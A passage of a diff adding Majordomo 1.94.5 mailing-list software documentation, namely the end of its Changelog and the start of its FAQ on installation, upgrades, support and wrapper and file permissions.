that sometimes truncated the mailing list. + +Thu Nov 11 21:13:48 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: updated to version 1.19 of resend + +Tue Nov 9 20:08:08 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + added administrivia check for subject 'request .* addition', also + changed option parse code cf_check() to cf_check_bool(), and multiple + indicies for $config_opts rather than concatenated string. + +Tue Nov 2 19:23:09 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * approve: 1.62 merger + +Fri Sep 10 04:14:08 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * regress.test, regress.out: moved regress tests to a subdirectory + + * majordomo.cf, majordomo: + added code to put 40 characters of the request subject line into + the reply subject line + + * majordomo: + fix for bug that prevents which from working for private lists + +Thu Sep 9 23:08:05 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fully table driven. With a parse table, known keyword/default value + table, comment table, and subsystem table. A default value beginning + with #! is eval'ed so that custom values can be created. + + There is a new function to create the default config file. The + function could be called at any point since it will preserve the data + values. However, it does totally rewrite the comments in the config + file. + + The private keyword was causing headaches with its positional nature. + It is no longer supported. The file .private is still + available however. Also the password fields are no longer allowed to + specify password files. Their values set the pass phrase or password. + Also, the password in .passwd is always recognized. + + The new_keyword function takes 5 args: + + keyword, default value, parse function, subsystem [comments] + + The comments are optional. + + * majordomo: + Added a select call to make the REPLY file handle flush immediately + when lists are called. This prevents multiple headers when the fork + call in mk_default_config occurs. + + Also changed x-private to private-x, and removed the private keyword. + + Also print reason for dying in eval of majordomo.cf. + + * majordomo.cf: + added umask call to set proper protections on config file + + * resend: + Changed code so that a null value for a config parameter is checked + for rather than a defined value. Added a call to the approve code so + that the approve, admin, and .passwd values are all accepted + for article approval. + + * majordomo: added chdir to move back to after index command + + * majordomo.pl, majordomo, config_parse.pl: + Basic fully table driven config file, with interface + +Sun Sep 5 07:54:06 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo, config_parse.pl: + performance enhancements, passwd detainting secured, + and advertize/noadvertize operate against pure machine address now + +Fri Sep 3 19:52:25 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend, majordomo, config_parse.pl, approve: + patched approve to accept from stdin, fixed buglet with grab_word + in config_parse.pl, and added date_info to default template + + * majordomo.pl, majordomo.cf, majordomo: + removed in favor of config file, removed debugging comments + + * resend, regress.test, majordomo.pl, majordomo.cf, majordomo, Makefile: + merge of config files and version 1.60 + + * resend, majordomo.pl, majordomo: merged localisms with 1.60 + + * resend, regress.test, majordomo.pl, majordomo.cf, majordomo, + config_parse.pl, Makefile: + implementation of configuration file, mungedomain, advertize/noadvertize + + * sample.cf, resend.README, resend, majordomo.pl, majordomo, approve, + Changes, + majordomo_version.pl: + version 1.60 of majordomo: additonal helps for moderated lists, + and fix for verion id bug + + * majordomo_version.pl: Initial revision + + * Manifest: + version 1.60 of majordomo: additonal helps for moderated lists, + and fix for verion id bug + +Wed Sep 1 20:37:49 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * archive.pl: Contributed archive program + + * wrapper.sh, resend, request-answer, regress.test, new-list, medit, + majordomo.pl, + majordomo.cf, majordomo, bounce-remind, archive, Makefile: + Added code that checked to make sure that majordomo.cf eval'led correctly. + Also added code to date the new info file. + +Changes since release 1.62 +========================== + +New in version 1.90 are: + +The changes in majordomo are: + + All options to majordomo can be set remotely using a + configuration file. This includes + setting the subscribe policy to open, closed or auto, and + stripping comments from addresses. + + The ability to hide a list when a "lists" command is issued. + + A 50 character description can be shown when using the "lists" + command. + + The info file can be dated when it is installed. This is useful if the + info file is being served using a method besides majordomo + (e.g. finger, gopher, www). + + The operations get, index, info, which, who can each be made + private individually. If they are private, access to + the command is restricted to people on the list. + + Addresses of the form user@host.dom.ain can be made to compare + equivalent to user@dom.ain. This works for subscribe, + unsubscribe, and all private options. + + The sender name (in the envelope address) can be set remotely + on a per list basis. + + Command lines can be continued by using a \ + at the end of the line. + + Spaces can be preserved in command line arguments by + preceding the space with a \. Thus files with spaces + in their names can be retrieved. + + + New commands to manipulate configuration files have been + added: + config + + retrieve a self-documenting configuration file for + the list . The can be the password + contained in the file .passwd or the + admin_password in the configuration file. + + Think of it as the info command with a password. I + cribbed enough code from info for it. + + newconfig + + EOF + + Validates and installs a new configuration file. The + config file is expected to be a complete config file + as returned by "config". Incremental changing of the + config file is not yet supported. As soon as the + config file is validated and installed its settings + are available for use. This is useful to remember if + you have multiple commands in your mail message since + they will be subject to the settings of the new config + file. If there is an error in the config file + (incorrect value...), the config file will not be + accepted and the error message identifying the problem + line(s) will be returned to the sender. Buglet: only + the error lines are returned to the sender not the + entire config file. + + (does this remind you of "newinfo"; it should, I + shamelessly stole the newinfo code to make it into + newconfig). + + writeconfig + + Write a new config in standard form. All of the config + file documentation is optional. Only the keywords and + values are necessary. If a config file, stripped of + all comments is installed using newconfig, that is + what is returned by config. Writeconfig forces a + rewrite of the config file with all comments and + default values in place. It is useful to use after an + upgrade of majordomo since it will add the new + keywords for people to change. It also updates the + documentation in the file if that has changed. + + A new command to generate a digest has been added: + + mkdigest + + This will force a digest for the specified list to be created. + +With resend + + Most of resend's options can be controlled remotely using a + configuration file including: + moderation status + approval password + enabling administrivia checks + debugging + setting the maximum size for a message (in bytes) + setting the message precedence + purging received lines + setting a reply-to header + setting the list of files that determines valid posting + addresses + setting the sender envelope name + + A number of features have been added to resend that are also + able to be controlled remotely. + + Arbitrary headers can be added to outgoing messages + Arbitrary text can be added before the body of an + outgoing message. + Arbitrary text can be added at the end of the body of + an outgoing message. + + An arbitrary word can be prefixed to the subject line + to allow easier scanning of list mail + + +With digest + + Brent Chapman's digest program has been integrated with majordomo. + As with the rest of the programs, the config file can be used to + set all of its parameters including: + + issue and volume numbers + digest name + the size when a digest is automatically created + the header and trailer for the digest + the reply-to address can be set + the sender name can be set + + In addition to the above, the config file version allows arbitrary + headers to be added to the outgoing digest. + + + +Changes since release 1.60 +========================== + +Fixed a major bug in "majordomo" where a file wasn't properly being +closed during an "unsubscribe" operation; this would cause (on some +platforms, under some circumstances) multiple "unsubscribe" operations +contained in a single message to Majordomo to fail silently. + +Added "Doc" directory, with documentation (well, more documentation +than was there previously, anyway) for Majordomo. Included in the +directory is the original paper on Majordomo and a file of instructions +and explanations about Majordomo for new list owners. + +Added "Doc/samples" directory of sample list configuration files; thanks +to Vince Skahan . + +Added "Doc/man" directory of online manual pages. Added "majordomo.8" +and "approve.1" as the first entries; thanks to Jim Duncan . + +Fixed a major bug in "approve" that was keeping it from working on standard +input. + +Fixed a minor bug in "approve" that was causing an extra blank line to be +added after each "approve" line generated. + +Changes since release 1.56 +========================== + +"resend" will now look for an "Approved:" line as the first line of the +body, in addition to as a header. This makes it easier for folks who +can't insert headers with their mailer to generate "Approved:" lines. + +"approve" will now approve messages that have been bounced by "resend", +in addition to "request for approval" messages generated by Majordomo. +This means that you can now easily set up a moderated mailing list by +specifying the "-A" and "-a " arguments to "resend", which will +cause "resend" to send messages without a valid "Approved:" line to +the list owner, who can then use "approve" to OK the messages that they +want to be posted. + +Added support for a "majordomo_version.pl" file, which now lists the +official version number for a particular release of the Majordomo package. +A "help" command will now return this number, reflecting the version number +of the entire package, rather than the version number of the "majordomo" +PERL file (which is what "help" returned before). + +Fixed minor bug where list names were not always being converted to +lower case. Thanks to Roger Klorese . + +Changes since release 1.54 +========================== + +Added "--" as the first line of responses generated by Majordomo. This +keeps bounces of Majordomo-generated messages from being reprocessed as +input if some broken mailer bounces them back to Majordomo instead of +Majordomo-Owner. + +Added check to ensure that an address really is subscribed to a list +before attempting to process an "unsubscribe" request for that address. +This should stop the generation of "approve unsubscribe" requests for +addresses that aren't really on the list anyway. + +Added comments to "sample.cf" file to document all variables set there. + +Added "get" and "index" commands to access files related to a list. +Courtesy of Alan Millar and +Paul Haas . + +Added "-I" (restrict incoming messages to list members) and "-r" (add a +"Reply-To:" field) flags to "resend"; see "resend.README" for details. +Courtesy of Jon Luini . + +Renamed "sendmail" subroutine in "resend" to "resend_sendmail", to avoid +conflict with "sendmail" subroutine in "majordomo.pl" file. This should +put an end to the "Malformed command links" warnings from "resend". + +Added "-a" (set an "approval" password) and "-A" (require approval of +all messages; i.e., make this a moderated mailing list) flags to "resend"; +see "resend.README" for details. + +Added a comment to "README" about running setuid to a sendmail "trusted" +user. + +Added "W_MAJORDOMO_CF" environment variable support to "Makefile" and +"wrapper.c", so that this can be hard-coded into "wrapper", rather than +inheireted from the environment of "wrapper" (which is a security problem). + +Changed "request-answer" by expanding recording to include info about +the "unsubscribe" command. + +Changes since release 1.46 +========================== + +Updated README file. + +Removed MH dependencies from "approve"; it now works on stdin or file +names passed as arguments. + +Changed "approve" from using multiple ~/.passwd/* files to using a single +file ~/.majordomo. See the comments at the start of "approve" for more info. + +Changed "bounce" from using multiple ~/.passwd/* files to using a single +file ~/.majordomo. See the comments at the start of "bounce" for more info. + +Changes in 1.46 +=============== +NOTE WELL: existance of a ".private" file used to mean the same thing +as existance of a ".closed" file. ".private" now means something +different (see below). If you've got lists that are currently ".private", +you should make them ".closed" before you install this version of Majordomo. + +Filename changes (mostly to accomodate 14-character limits): + bounce-reminder bounce-remind + majordomo.cf.sample sample.cf + request-recording request-answer + mailstuff.pl majordomo.pl + +Code reorganization; moved must support functions to "majordomo.pl". + +Fixed log locking bug; log now locked before each write. + +Fixed truncation bug caused by indiscriminate "chop"; now only chops +trailing newlines. + +Both "subscribe" and "unsubscribe" now check to see if a requesting +address looks like a real name rather than an email address (i.e., if +the user issued a LISTSERV-style "subscribe " command, +rather than a Majordomo-style "subscribe []" command). If +it doesn't look like an email address, it squawks to the user and punts +the request. + +Majordomo now slightly more liberal in accepting list names; it will now +take "", "list@site", and "" as synonyms for "list". + +Majordomo now recognizes any line beginning with a "-" as equivalent +to an "end" command, so it won't process automatically-added signatures +any more. + +All requests to a given list can now be automatically approved by creating +a file "$listdir/.auto". The list owner still gets the standard +"SUBSCRIBE" and "UNSUBSCRIBE" advisories. + +Responses to "info" requests now include a "last updated " line +at the end, telling when the ".info" file was last updated. If +you want the date printed and labelled in a particular timezone (GMT, +say), you need to set that timezone in your TZ environment variable; +something like this in your majordomo.cf file works well: + $ENV{"TZ"} = "GMT"; + +Which mailer to use, and what arguments to pass it, can now be configured +in the .cf file. You have to use a mailer that will accept the header along +with the text of the message (such as sendmail). To set your own mailer, +set the "$mailer" variable in the .cf file to the string to use to invoke +the mailer. The default, if none is specified, is: + "/usr/lib/sendmail -f\$sender \$to" +You can use "\$sender", "\$to", "\$from", and/or "\$subject" in your command. +Make sure you use the "\", so that these variables will be expanded later, +rather than when the .cf file is read. + +The "which" command now does a case-insensitive substring match, rather +than an address match. Any address which matches the argument to "which" +is included in the output to "which". I.e., "which brent" will now match +"brent", "Brent@GreatCircle.COM", "Chapman@GreatCircle.COM (Brent Chapman)", +etc. + +You can now tell Majordomo, on a per-list basis, to strip comments +from addresses before writing them to the list file by creating a +file "$listdir/.strip". For example, in both +"Brent@GreatCircle.COM (Brent Chapman)" and +"Brent Chapman ", "Brent Chapman" is a comment, +and the address can be simplified to "brent@greatcircle.com". + +You can now tell Majordomo, on a per-list basis, that a list is "private" +by creating a file "$listdir/.private". If such a file exists, +then only members of the list can access the list with "who" and "which" +commands. + +$Header: /sources/cvsrepos/majordomo/Changelog,v 1.23 1997/08/27 15:56:13 cwilson Exp $ + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/FAQ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/FAQ new file mode 100644 index 0000000..e18df62 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/FAQ @@ -0,0 +1,1350 @@ +Version: $Id: FAQ,v 1.8 2000/01/13 12:54:22 cwilson Exp $ +URL: http://www.visi.com/~barr/majordomo-faq.html +Archive-Name: mail/majordomo-faq +Posting-Frequency: monthly + +Note: This FAQ has been recently updated to be exclusively for Majordomo +1.94 and up. + +Table of Contents: + + 1. What is Majordomo and how can I get it? + o 1.1 - What is Majordomo? + o 1.2 - Where do I get Majordomo? + o 1.3 - How do I install it? + o 1.4 - How do I upgrade from an earlier release? + o 1.5 - Where do I report bugs or get help with Majordomo? + o 1.6 - Which is better, Majordomo or LISTSERV? + o 1.7 - How can I access Majordomo via the Web? + o 1.8 - Is Majordomo Y2K (Year 2000) compliant? + 2. Problems setting up Majordomo + o 2.1 - What are the proper permissions and ownership of all + Majordomo files and directories? + o 2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. + Operation not permitted" + o 2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission + denied" + o 2.4 - I get "Unknown mailer error" when majordomo runs + o 2.5 - I get an error "insecure usage" from the wrapper + o 2.6 - I get "majordomo: No such file or directory" from the + wrapper + o 2.7 - I get an error "Can't locate majordomo.pl" + o 2.8 - I told my majordomo.cf where to archive the list, why isn't + it working? + o 2.9 - config-test can't seem to find ctime.pl or resend can't find + getopts.pl + o 2.10 - A list is visible via lists, but can't subscribe or 'get' + files + o 2.11 - I get "sh: wrapper not available for sendmail programs" + o 2.12 - I get "aliasing/forwarding loop broken" + 3. Setting up mailing lists and aliases + o 3.1 - How do I direct bounces to the right address? + o 3.2 - Semi-automated handling of bounced mail + o 3.3 - What's this Owner-List and List-Owner stuff? Why both? + o 3.4 - How should I configure resend for Reply-To headers? + o 3.5 - How can I hide lists so they can't be viewed by 'lists'? + o 3.6 - How can I restrict a list such that only subscribers can + send mail to the list? + o 3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner? + o 3.8 - What are all these different passwords? + o 3.9 - How do I tell majordomo to handle "get"-ing of binary files? + o 3.10 - How do I set up a moderated list? How do I approve + messages? + o 3.11 - How do I set up a digested version of a list? + o 3.12 - How do I setup virtual majordomo domains? + o 3.13 - How can I stop people from using my mailing list to spam my + subscribers? + 4. Mailer and list administration problems + o 4.1 - Address with blanks are being treated separately + o 4.2 - Why aren't my digests going out? + o 4.3 - Why do I get duplicate mail sent to the list? + o 4.4 - How do I gate my list to and/or from a newsgroup? + o 4.5 - How can I improve Majordomo's performance? + o 4.6 - How can I handle X.400 addresses? + o 4.7 - Why is the Subject of my messages missing? + o 4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? + How do I stop this? + o 4.9 - My list configuration doesn't seem to be working. + o 4.10 - How do I set it up so that the originator of a message + doesn't get a copy of his/her own message back? + o 4.11 - With Smail or Exim, users subscribing to a list sometimes + get mail sent before they subscribed + o 4.12 - Majordomo doesn't seem to work with sendmail 8.9 + o 4.13 - I can't get Majordomo to work with RedHat Linux + +This FAQ is Copyright 1996 by David Barr and The Ohio State University. This +document may be reproduced, so long as it is kept in its entirety and in its +original format. + +Credits: +This FAQ originally written by Vincent D. Skahan. Many thanks to the members +of the majordomo-workers and majordomo-users mailing lists for many of the +questions and answers found in this FAQ. Thanks to fen@comedia.com (Fen +Labalme) for getting an HTML version started. + +You can get an HTML version of this FAQ on the World Wide Web at +http://www.visi.com/~barr/majordomo-faq.html. You can request a copy by +email by sending a message to mail-server@rtfm.mit.edu, with the following +text in the body: + +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions + +If you have any questions or submissions regarding this FAQ, send them to +barr@visi.com (David Barr). + + ------------------------------------------------------------------------ + +Section 1: What is Majordomo and how can I get it? + +1.1 - What is Majordomo? + +Majordomo is a program which automates the management of Internet mailing +lists. Commands are sent to Majordomo via electronic mail to handle all +aspects of list maintenance. Once a list is set up, virtually all operations +can be performed remotely, requiring no intervention upon the postmaster of +the list site. + +See the main Majordomo web page at: +http://www.greatcircle.com/majordomo/ + +Majordomo controls a list of addresses for some mail transport system (like +sendmail or smail) to handle. Majordomo itself performs no mail delivery +(though it has scripts to format and archive messages). + + majordomo - n: a person who speaks, makes arrangements, or takes + charge for another. From latin "major domus" - "master of the + house". + +Majordomo is written in Perl. It will work with Perl 4.036 or Perl 5.002 or +greater. It will not work with Perl 5.001!!!. It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. You must upgrade to version 1.94.3 in order for +it to work with Perl 5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due to a bug in +Perl with respect to regular expressions. Use Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions will +likely be Perl 5 only. + +RedHat 5.2 is unfortunately shipping a prerelease version of Perl +("5.004m4") with some of their Linux distributions. This version is buggy +and won't work with Majordomo (you will get "Unknown mailer error 9" +errors). Download an install the 5.004 or 5.005 RPM instead, or download and +updated RPM from updates.redhat.com. Many people have been having problems +with Majordomo on DEC OSF/1 AXP systems. Apparently Perl on the Alphas is +not as stable as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make sure you are +running the very latest version of Perl (version 5.002 is known to work). +There haven't been recent reports in this area, so it's assumed that later +versions also work. + +There have also been reported problems with the native compiler for AIX +3.2.5. Perl compiled with that compiler will crash when running Majordomo +(even though it passes all the regression tests), however if you compile +Perl with gcc it will work. + +Majordomo was developed under UNIX based systems, but could be made to work +on others. If you can get Perl to compile and run cleanly on your system, +and can send Internet mail by piping or calling an external program (and +that external program reads its list of recipients from a plain text file), +you can probably get Majordomo to work on a wide variety of UNIX-based and +non-UNIX based systems. There is no known port of Majordomo to Windows NT, +Win95 or Mac. For more information, see the comp.os.msdos.mail-news FAQ. At +last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that helpful +for anyone porting Majordomo to NT. + +Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, editable + remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + * Supports confirmation of subscriptions (to protect against forged + subscription requests). + * List filters + +See other references throughout this FAQ for some further notes on using +these packages. + +1.2 - Where do I get Majordomo? + +Via the Web at: +http://www.greatcircle.com/majordomo/ Via anonymous FTP at: +ftp://ftp.greatcircle.com/pub/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior. + +If you don't have Perl, you can get it from: + +http://www.perl.com/perl/ + +Use that link for more information about Perl, too. The FTPMAIL package can +be found in ftp://src.doc.ic.ac.uk/packages/ftpmail or any comp.sources.misc +archive (volume 37). + +Majordomo 2 is currently being developed by Jason Tibbits. Currently it's +"alpha" quality. Join the majordomo-workers list (see below) if you want to +use this release. You can find out how to get Majordomo 2, as well as +information about this release at http://www.hpc.uh.edu/majordomo/ + +1.3 - How do I install it? + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common problems. +This FAQ is meant to be a supplement to Majordomo's documentation, not a +replacement for it. If you have any questions that this FAQ doesn't cover, +chances are that it is covered in the documentation in the Majordomo +distribution. For anyone who is going to run a list, you must read +Doc/list-owner-info before trying to do anything. If you don't have access +to the system where your list is being run, the Majordomo maintainer who set +up your list should have sent it to you. Bug him if he didn't, or download +it from the Majordomo distribution. + +If you have permission problems unpacking the distribution, try using the +'o' flag to tar to ignore user/group information. + +Although Majordomo is written in Perl, it does have one component written in +C that must be compiled. This 'wrapper' program runs "setuid" and ensures +that all Majordomo functions operate with the proper permissions. You will +need root access to install this program with the correct privileges. + +Majordomo interfaces to the mail system (sendmail, exim, etc) through +aliases. Adding aliases is generally a root-bound process. However, on some +systems the process can be delegated to a separate file under your control. + +Once you get past the above two requirements, it is possible to maintain +Majordomo lists without root access. At best, your local sysadmin would only +be bothered twice -- once for the installation, and once for designating a +separate alias file for your use. + +Majordomo 1.x is designed to work with sendmail, however will work with +other UNIX-based mailers. For more information on setting up Majordomo with +other mailers, see the following pages: + + * qmail - ftp://ftp.eyrie.org/pub/software/majordomo/mjqmail + * exim - http://www.netmaster.ca/exim/majordomo.html + * Netscape Messaging Server 2.x and 3.x - + http://interstroom.nl/docs/nsmajordomo + * Cyrus IMAP - see "Sendmail can't mail to a file or pipe..." at + http://andrew2.andrew.cmu.edu/cyrus/imapd/install-FAQ.html#sendmail. + This is necessary because Majordomo works by delivering mail via pipe. + +1.4 - How do I upgrade from an earlier release? + +Be sure to browse the "Changelog" file to get an idea what has changed. +There currently is no canned set of instructions for upgrading from an +earlier release. The most straightforward method is to simply install the +current release in a different directory, (with the same list/archive/digest +directories) and change the mail aliases for each list to use the new +Majordomo scripts as soon as you feel comfortable with the new setup. + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some other new +variables too. You may want to update the list .config files so they contain +any new variables found in the new release. You just need to do a +'writeconfig' for each list, and majordomo will update the .config file +using the existing values in the old .config file. Any new variables will be +set to defaults for a new list. + +1.5 - Where do I report bugs or get help with Majordomo? + +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, along with +many others, do answer questions on the mailing lists. Let me say that about +90% of the answers I get are from the documentation or this FAQ. Many of the +rest are answered by reading the source. It's really not that hard to figure +out. The remainder of the questions I get are usually sendmail questions, +which really should be asked in comp.mail.sendmail. + +If you need help, there is a mailing list majordomo-users@greatcircle.com, +which is frequented by lots of users of Majordomo. Report actual bugs to +majordomo-workers@greatcircle.com. It's a good idea to search or browse the +list archives below for the last couple months since many of the same +questions are asked (and answered) regularly. There are searchable list +archives (thanks to Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. + +Be sure always to include which version of Majordomo you are using. You +should also include what operating system you are using, what version of +Perl, and what mailer (sendmail, smail, qmail, etc) and version you are +using, especially if you can't get Majordomo to work at all. But first, you +must have thoroughly read the ALL the documentation in the Majordomo +distribution and this FAQ. If you got this FAQ from the Majordomo +distribution or anywhere except from the WWW site at the top of this +document it is probably not the most recent version. + +There is an FTP site for unofficial patches. See +http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . What's in it? Messages +that are saved from the majordomo-users and -workers mailing lists. There +are INDEX files in each part with one-line summaries of each patch, and a +README file in the top directory with overall information. If you have +patches that you think should be in the archive, you can FTP or email them +in. The top-level README file tells how to do it. Please contribute -- to +save other people the headaches you had. NOTE: The patches are NOT +"official" patches approved by Chan Wilson or anyone else. Use your own +judgment before (and after) you apply them. + +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add +various functions to majordomo. + +Do NOT ask questions about Majordomo on the list-managers@greatcircle.com +list. That list is for general discussions about running mailing lists, not +for help on specific packages. The same goes for the Usenet group +comp.mail.list-admin.policy. + +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html. + +Look for a great book out now from O'Reilly and Associates called "Managing +Mailing Lists", by Alan Schwartz. You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was one of the +book's technical reviewers. You can order the book at a discount (currently +20%) from amazon.com via the web: + + * http://www.amazon.com/exec/obidos/ASIN/156592259X/greatcircleassoc + +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their +support of the majordomo and list-managers mailing lists, as well as +distributing majordomo on their FTP site. + +1.6 - Which is better, Majordomo or LISTSERV? + +For a good comparison of various mailing list managers (MLM's) there's a +good FAQ by Norm Aleks. It is posted monthly to news.answers and +comp.mail.list-admin.software. It's also mirrored at the following URL. +http://www.faqs.org/faqs/mail/list-admin/software-faq. Contact +naleks@library.ummed.edu (Norm Aleks) for more information. + +1.7 - How can I access Majordomo via the Web? + +There are various Web interfaces to Majordomo available. Some are management +interfaces for list maintenance, and some are interfaces for list archives +(some do searching too). + + * LWGate - http://www.netspace.org/users/dwb/lwgate.html + * Regan's - http://www.peak.org/peak_info/mlists/Majordomo.html + * MajorCool - http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/ Link + dead.. it looks like it's supposed to be moved to + http://www.ncr.com/pub/software/MajorCool/. + * MailServ - http://www.csicop.org/~fitz/www/mailserv/ + * Pandora - http://www.ed.umuc.edu/pandora/ + * Maitre-d - http://www.landw.com/wps/content2.htm#ch12 + * Marcos' - http://www.inf.utfsm.cl/~marcos/majordomo/www.html + * ListTool - http://www.listtool.com/ + * Wilma (a list archive interface) - + ftp://sol.ccsf.cc.ca.us/majordomo-contrib/ + * ListQuest ( a list archive and search interface) - + http://lq.corenetworks.com/ + +1.8 - Is Majordomo Y2K (Year 2000) compliant? + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new 4-digit +year flags to archive you should not have any year 2000 problems. + +No one has officially certified Majordomo to be Y2K compliant, and I don't +foresee anyone paying money to do so, so don't go looking for someone to sue +if it breaks. All we are saying is that we know of no year 2000 issues with +Majordomo. + +That being said, as you can see by reading the Majordomo source, except for +the "archive" program majordomo doesn't directly deal with dates so it's +extremely unlikely there are any year 2000 issues. Even places where it does +use dates (archive) it doesn't do any date comparisons, which is the crux of +all non-cosmetic year 2000 bugs. At worst "archive" would overwrite your +100-year-old mailing list archives. I really really doubt Majordomo will +still be used for 100 years. + + ------------------------------------------------------------------------ + +Section 2: Problems setting up Majordomo + +2.1 - What are the proper permissions and ownership of all Majordomo files +and directories? + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security model +that Majordomo uses, and it's also due to the fact that it's hard to +automate this process. Once you install majordomo, run "./wrapper +config-test" as some other user (like you) and read the results. Do NOT run +"./wrapper config-test" as 'root' or your 'majordom' user. That will defeat +the test of the wrapper operation. The config-test script will check your +installation for correct permissions (as well as other tests) and report any +problems. It's not quite perfect, but it catches 95% of all problems. + +Majordomo works by using a small C "wrapper" which works by allowing it to +always run as the "majordom" user and group that you create. (note that the +wrapper may disappear in a future release, since its function could safely +be replaced by features found in Perl 5) You can use a different name than +"majordom" for your user and group, but that is what is assumed for the +explanations found in this document. The 1.94.3 INSTALL file suggests using +'daemon' as your majordomo group. This is the group that 'sendmail' runs as, +and allows you to have $homedir permissions set to 750. This has the +disadvantage in environments where there may be one or more administrators +of the Majordomo system or where you don't want to always have to 'su' to +the majordomo user to do administration. (you don't really want to put other +normal users in the 'daemon' group for security reasons) If you create a +separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and wrapper +have world execute permission, and you may have to add 'majordom' to the +'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x will +probably give "X-Authentication-Warning:"'s) + +Because Majordomo does not run with any "special" (root) privileges, and +because of the fact that Majordomo does a lot of .lock-style locking (with +shlock.pl), permissions on all files and directories are critical to the +correct operation of Majordomo. + +The wrapper + +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if your +system is POSIX or not, I would suggest you assume that your system is not. +(The default is POSIX) If things don't work right (for example you get +symptoms of permission problems or you get an error from the wrapper saying +to recompile using POSIX flags), then try POSIX. + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and +4.3-based systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI (and +other 4.4 BSD-based systems), Linux. + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to add +/usr/bsd to the W_PATH to get the hostname (needed by Perl) command. (IRIX +doesn't have a /usr/ucb). If you are on a non-POSIX system, the wrapper must +be both suid and sgid (mode 6755) to "majordom". It must not be setuid root! + +OR + +On a POSIX system the wrapper must be setuid root, and double-check that +W_USER and W_GROUP are the uid and gid of the "majordom" user and group. +Don't ever set W_USER to be 0! + +Then compile the wrapper and install it. Do not install the wrapper on an +NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +Majordomo files + +All files that majordomo creates will be mode 660, user "majordom", group +"majordom" if it is running correctly (see $config_umask in the +majordomo.cf). The "Log" file that Majordomo writes logging information to +must have this same permission and ownership. Make sure any files you create +by hand (.config, subscription lists) have this same permission and +ownership. (they can also be mode 664 if you don't need the contents to be +private to others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be readable to +the "majordom" user/group. All Majordomo programs (majordomo, resend, etc.) +must have the execute bit set. All Majordomo programs must have the correct +path to Perl in the #! line in the beginning of the script. The 'make +install' process should do this all automatically for you. + +Majordomo directories + +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) must be at +least mode 750 (or 755 if you don't use "daemon" as your majordomo group -- +see 2.3below.). They should be user and group owned by "majordom". If want +to allow a local user to be able to directly modify files or for example +copy files into a list's archive directory, you may make the directory or +file owned by that user. However directories and files must be then +group-"majordom" writable (770 or 775). + +2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation +not permitted" + +Most likely your wrapper is not installed correctly. Re-check the Makefile +and see if the wrapper was compiled with the right UID and GID. See the +README and the above section on how to set the permissions correctly. Make +sure after you fix the wrapper that you remove (or rename) any +"listname.new" or "L.listname" files found in your lists directory. These +will likely have the wrong ownerships, and cause you problems. + +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, it's a bug in config-test and should be +fixed. + +2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied" + +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The majordomo +$homedir needs to have permission of at least 751 (or 755), not 750. +Otherwise, sendmail won't have permission to execute the wrapper. You'll +need to do a 'chmod 755 $homedir' after you install majordomo. Make sure +'wrapper' also has world execute permission. Some people also have put the +user 'daemon' in the 'majordom' group. This works too. + 